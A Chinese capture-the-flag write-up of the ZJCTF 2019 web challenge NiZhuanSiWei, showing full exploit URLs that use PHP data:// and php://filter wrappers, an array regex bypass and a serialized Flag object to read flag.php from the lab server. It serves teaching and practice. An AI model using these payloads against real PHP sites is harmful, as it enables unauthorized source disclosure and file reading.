• [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)


     简介

     原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/

     考察知识点:反序列化、PHP伪协议、数组绕过

     线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

     过程

    打开页面看到源码先审计

    大致分析flag在flag.php里面 先想办法绕过这些限制到达 文件包含那一块

    绕过file_get_contents()  

    将welcome to the zjctf base64编码 使用PHP伪协议data读取数据流 可以成功绕过file_get_contents

    http://e188408b-f98c-4a28-bd9d-537acd229427.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

     绕过正则表达式 

    使用数组即可成功绕过(一开始我的想法是直接包含flag.php 然后通过echo输出$flag这个变量 这个想法不对)

    http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file[]=flag.php

    读取useless.php文件

    看到注释有个//uselees.php  最后看WP读取的 (我服了自己了 明明可以通过PHP伪协议来读取源码的)  但是数组绕过正则经过测试 伪协议不行所以flag.php无法读取  

    http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
    <?php  
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  

    构造序列化获取flag.php文件

    <?php  
    class Flag{  //flag.php  
        public $file='flag.php'; //注意这里 我们这里赋值了flag.php文件  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  
    print_r(serialize(new Flag()));
    //得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    最终payload:

    http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,
    d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    参考学习:https://www.cnblogs.com/gaonuoqi/p/12255777.html

  • 相关阅读:
    迭代器
    逻辑量词
    How to distinguish between strings in heap or literals?
    Is the “*apply” family really not vectorized?
    power of the test
    The Most Simple Introduction to Hypothesis Testing
    析构函数允许重载吗?
    C++中析构函数的作用
    在C#中的构造函数和解析函数
    c++构造函数与析构函数
  • 原文地址:https://www.cnblogs.com/xhds/p/12400108.html
Copyright © 2020-2023  润新知